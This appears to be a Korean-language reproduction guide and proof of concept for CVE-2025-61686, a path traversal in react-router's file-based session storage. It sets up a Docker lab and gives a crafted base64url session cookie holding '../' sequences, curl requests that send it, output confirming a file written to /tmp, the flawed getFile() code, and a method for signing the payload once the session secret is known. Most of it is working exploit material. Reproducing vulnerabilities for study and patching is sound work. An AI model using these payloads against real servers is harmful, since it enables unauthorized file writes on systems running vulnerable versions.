
CVE-2025-61686 재현용 dockerfile 및 poc
1.build
docker-compose up --build
2.start
docker-compose up
1.경로 탐색 조건에 맞는 session 구성
└─$ echo -en '"AAAA../../../tmp/flower"'|base64 -w0 | tr '+/' '-_' | tr -d '='
IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg
2.구성한 session을 Cookie에 넣고 요청 전송
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg' 'http://localhost:3001/'
3.검증
root@de14139fdebf:/app# ls /tmp
flower
취약한 버전 7.9.3과 7.9.4를 비교해 보면, 취약점의 주요 원인은 react-router/packages/react-router-node/sessions/fileStorage.ts 파일의 getFile() 함수에서 session을 처리하는 방식에 문제가 있기 때문이다.
export function getFile(dir: string, id: string): string {
// Divide the session id up into a directory (first 2 bytes) and filename
// (remaining 6 bytes) to reduce the chance of having very large directories,
// which should speed up file access. This is a maximum of 2^16 directories,
// each with 2^48 files.
return path.join(dir, id.slice(0, 4), id.slice(4));
}
여기서 session의 앞 4자리를 폴더명으로, 4자리 이후를 파일명으로 사용하므로, 공격자는 아래와 같은 방법만으로 경로 탐색을 수행할 수 있다. 이것은 취약점 공지에서 session이 secret을 사용하지 않아도 될 때 디렉터리 탐색을 쉽게 달성할 수 있다고 말한 이유다. 물론 공격자가 session 암호화에 사용되는 secret을 획득할 수 있다면 그에 맞는 경로 탐색 payload도 구성할 수 있다.
>>> import os
>>> os.path.join("./sessions", "aaaa","../../tmp/flowerwitch")
'./sessions/aaaa/../../tmp/flowerwitch'
secret을 획득한 경우에는 sign() 함수를 참고하여 secret으로 poc에 서명할 수 있다.
export const sign = async (value: string, secret: string): Promise<string> => {
let data = encoder.encode(value);
let key = await createKey(secret, ["sign"]);
let signature = await crypto.subtle.sign("HMAC", key, data);
let hash = btoa(String.fromCharCode(...new Uint8Array(signature))).replace(
/=+$/,
"",
);
return value + "." + hash;
};
생성된 session으로 요청 전송
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi8uLi90bXAvZmxvd2Vyd2l0Y2gi.L2ffutps16%2B3ENWvuWy4ZCouT%2BPSVeqmQOeaW%2FjziXg' 'http://localhost:3001/'
취약점 트리거 확인
root@eb8750bd4a56:/tmp# ls
flowerwitch
서명 생성 스크립트 use_secret_create_payload.js